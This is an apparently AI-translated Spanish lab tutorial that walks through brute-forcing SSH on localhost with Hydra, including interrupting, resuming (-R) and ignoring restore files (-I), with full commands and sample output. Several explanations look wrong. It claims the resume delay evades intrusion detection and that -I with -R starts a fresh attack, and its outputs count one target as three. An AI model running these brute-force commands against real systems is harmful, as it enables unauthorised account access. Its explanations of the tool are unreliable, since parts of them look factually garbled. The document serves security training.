Ignorar archivos de restauración de Hydra

HydraHydraBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, exploraremos cómo Hydra maneja los ataques interrumpidos y cómo reanudarlos de manera efectiva. Simularemos un ataque interrumpido de Hydra contra el servicio SSH en el localhost creando listas simples de nombres de usuario y contraseñas, lanzando un ataque y luego interrumpiéndolo manualmente utilizando Ctrl+C.

A continuación, el laboratorio te guiará a través del proceso de reinicio del ataque con la opción -R y la observación del retraso, seguido del uso de la opción -I en conjunto con -R para omitir el retraso y garantizar un inicio nuevo. Finalmente, confirmarás que el ataque se reinicia como se espera, ignorando cualquier archivo de restauración previo.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/ssh_attack("SSH Brute Force") hydra/HydraGroup -.-> hydra/multiple_targets("Multiple Targets Attack") hydra/HydraGroup -.-> hydra/session_management("Session Save and Restore") subgraph Lab Skills hydra/single_username -.-> lab-550770{{"Ignorar archivos de restauración de Hydra"}} hydra/single_password -.-> lab-550770{{"Ignorar archivos de restauración de Hydra"}} hydra/ssh_attack -.-> lab-550770{{"Ignorar archivos de restauración de Hydra"}} hydra/multiple_targets -.-> lab-550770{{"Ignorar archivos de restauración de Hydra"}} hydra/session_management -.-> lab-550770{{"Ignorar archivos de restauración de Hydra"}} end

Simular un ataque interrumpido

En este paso, simularemos un ataque interrumpido de Hydra. Esto nos ayudará a entender cómo Hydra maneja las interrupciones y cómo podemos reanudar los ataques más adelante. Comenzaremos lanzando un ataque básico de Hydra y luego lo interrumpiremos manualmente.

Primero, creemos una lista simple de contraseñas. Abramos una terminal en el directorio ~/project y usemos nano para crear un archivo llamado passwords.txt:

nano passwords.txt

Añadamos algunas contraseñas comunes al archivo, una contraseña por línea. Por ejemplo:

password
123456
qwerty

Guardemos el archivo y salgamos de nano (Ctrl+X, luego Y, luego Enter).

Ahora, creemos un archivo simple de nombres de usuario. Usemos nano para crear un archivo llamado users.txt:

nano users.txt

Añadamos un solo nombre de usuario al archivo:

root

Guardemos el archivo y salgamos de nano.

A continuación, lanzaremos un ataque de Hydra contra el servicio SSH en localhost. Usaremos un comando simple que probablemente tenga éxito rápidamente, pero lo interrumpiremos manualmente para simular un ataque más largo.

Ejecutemos el siguiente comando:

hydra -L users.txt -P passwords.txt localhost ssh

Este comando le dice a Hydra que:

  • -L users.txt: Use el archivo users.txt para los nombres de usuario.
  • -P passwords.txt: Use el archivo passwords.txt para las contraseñas.
  • localhost: Diríjase al localhost.
  • ssh: Atacar el servicio SSH.

Mientras el ataque está en ejecución (debería ver a Hydra probando diferentes combinaciones de nombre de usuario/contraseña), presione Ctrl+C para interrumpirlo.

Debería ver una salida similar a esta (la salida exacta puede variar):

Hydra v9.6 starting, press Enter to test creds or Ctrl+C to exit
[DATA] 1 task, 1 server, 1 userfile, 1 passfile, max 1 task(s) per 1 server, overall 1 task(s)
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost  login: root  password: password
[ATTEMPT] target: localhost  login: root  password: 123456
[ATTEMPT] target: localhost  login: root  password: qwerty
^C
3 of 3 target(s) completed, 0 valid password(s) found

El ^C indica que interrumpió el proceso. Esto simula un escenario en el que el ataque se detuvo prematuramente. Usaremos este estado interrumpido en los siguientes pasos para explorar las capacidades de reanudación de Hydra.

Reiniciar con -R y notar el retraso

En este paso, reiniciaremos el ataque interrumpido de Hydra del paso anterior utilizando la opción -R. Esta opción le dice a Hydra que reanude el ataque desde donde se detuvo. También observaremos el retraso que Hydra introduce al reanudar un ataque.

Para reiniciar el ataque, ejecuta el siguiente comando:

hydra -R -L users.txt -P passwords.txt localhost ssh

Este comando es similar al anterior, pero con la adición de la opción -R.

  • -R: Reanudar la sesión previamente abortada o que se ha detenido inesperadamente.
  • -L users.txt: Utilizar el archivo users.txt para los nombres de usuario.
  • -P passwords.txt: Utilizar el archivo passwords.txt para las contraseñas.
  • localhost: Dirigirse al localhost.
  • ssh: Atacar el servicio SSH.

Observa la salida. Deberías notar un retraso antes de que Hydra vuelva a intentar las contraseñas. Este retraso es intencional y está diseñado para evitar la detección por parte de los sistemas de detección de intrusiones (IDS, por sus siglas en inglés). Hydra almacena el progreso del ataque en un archivo temporal, y cuando utilizas la opción -R, lee este archivo para determinar desde dónde reanudar el ataque.

La salida se verá algo así:

Hydra v9.6 starting, press Enter to test creds or Ctrl+C to exit
Resuming previous session
[DATA] 1 task, 1 server, 1 userfile, 1 passfile, max 1 task(s) per 1 server, overall 1 task(s)
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost  login: root  password: qwerty
3 of 3 target(s) completed, 0 valid password(s) found

Nota: El retraso podría ser muy corto en este ejemplo porque solo teníamos unas pocas contraseñas en nuestra lista. Sin embargo, con listas de contraseñas más grandes, el retraso será más notable. Además, dado que interrumpimos el ataque después de que ya hubiera probado 'password', '123456' y 'qwerty', puede completarse muy rápidamente.

Usar -I con -R para omitir el retraso

En este paso, utilizaremos la opción -I en conjunto con la opción -R para omitir el retraso que Hydra introduce al reanudar un ataque. La opción -I le dice a Hydra que ignore los archivos de sesión existentes y comience una nueva sesión, evitando efectivamente el retraso.

Ejecuta el siguiente comando:

hydra -I -R -L users.txt -P passwords.txt localhost ssh

Este comando incluye tanto la opción -I como la -R:

  • -I: Ignorar un archivo de sesión existente / no crear uno nuevo.
  • -R: Reanudar la sesión previamente abortada o que se ha detenido inesperadamente.
  • -L users.txt: Utilizar el archivo users.txt para los nombres de usuario.
  • -P passwords.txt: Utilizar el archivo passwords.txt para las contraseñas.
  • localhost: Dirigirse al localhost.
  • ssh: Atacar el servicio SSH.

Observa la salida. Deberías notar que Hydra comienza a probar contraseñas inmediatamente, sin el retraso que estaba presente cuando se usaba solo la opción -R.

La salida se verá algo así:

Hydra v9.6 starting, press Enter to test creds or Ctrl+C to exit
[DATA] 1 task, 1 server, 1 userfile, 1 passfile, max 1 task(s) per 1 server, overall 1 task(s)
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost  login: root  password: password
[ATTEMPT] target: localhost  login: root  password: 123456
[ATTEMPT] target: localhost  login: root  password: qwerty
3 of 3 target(s) completed, 0 valid password(s) found

Al usar -I con -R, esencialmente le estamos diciendo a Hydra que reanude el ataque pero que ignore cualquier dato de sesión existente. Esto puede ser útil en situaciones en las que quieres reiniciar un ataque rápidamente sin esperar el retraso. Sin embargo, ten en cuenta que omitir el retraso puede aumentar el riesgo de detección.

Confirmar un inicio nuevo

En este paso, confirmaremos que el uso de la opción -I con -R inicia efectivamente un nuevo ataque, ignorando el progreso de la sesión anterior. Para hacer esto, modificaremos la lista de contraseñas y observaremos que Hydra intenta todas las contraseñas desde el principio.

Primero, modifiquemos el archivo passwords.txt. Abrámoslo con nano:

nano passwords.txt

Añadamos una nueva contraseña al principio del archivo:

newpassword
password
123456
qwerty

Guardemos el archivo y salgamos de nano.

Ahora, ejecutemos de nuevo el comando de Hydra con -I y -R:

hydra -I -R -L users.txt -P passwords.txt localhost ssh

Observa la salida. Deberías ver que Hydra comienza intentando la contraseña newpassword, que era la primera contraseña en la lista modificada. Esto confirma que Hydra está iniciando un nuevo ataque y no reanudando desde el progreso de la sesión anterior.

La salida se verá algo así:

Hydra v9.6 starting, press Enter to test creds or Ctrl+C to exit
[DATA] 1 task, 1 server, 1 userfile, 1 passfile, max 1 task(s) per 1 server, overall 1 task(s)
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost  login: root  password: newpassword
[ATTEMPT] target: localhost  login: root  password: password
[ATTEMPT] target: localhost  login: root  password: 123456
[ATTEMPT] target: localhost  login: root  password: qwerty
4 of 4 target(s) completed, 0 valid password(s) found

Este paso demuestra que la opción -I, cuando se utiliza con -R, proporciona una forma de iniciar un nuevo ataque de Hydra, ignorando efectivamente cualquier dato de sesión anterior. Esto puede ser útil cuando quieres asegurarte de que se prueben todas las contraseñas, independientemente de si un ataque anterior se interrumpió.

Resumen

En este laboratorio, simulamos un ataque de Hydra interrumpido contra el servicio SSH en el localhost. Creamos los archivos users.txt y passwords.txt que contienen nombres de usuario y contraseñas, respectivamente. Luego, lanzamos un ataque de Hydra utilizando estos archivos, apuntando al servicio SSH.

Durante el ataque, interrumpimos manualmente el proceso utilizando Ctrl+C. Esto nos permitió observar cómo se comporta Hydra cuando un ataque se termina prematuramente, preparando el terreno para explorar cómo reanudar o reiniciar ataques de manera efectiva en los pasos siguientes.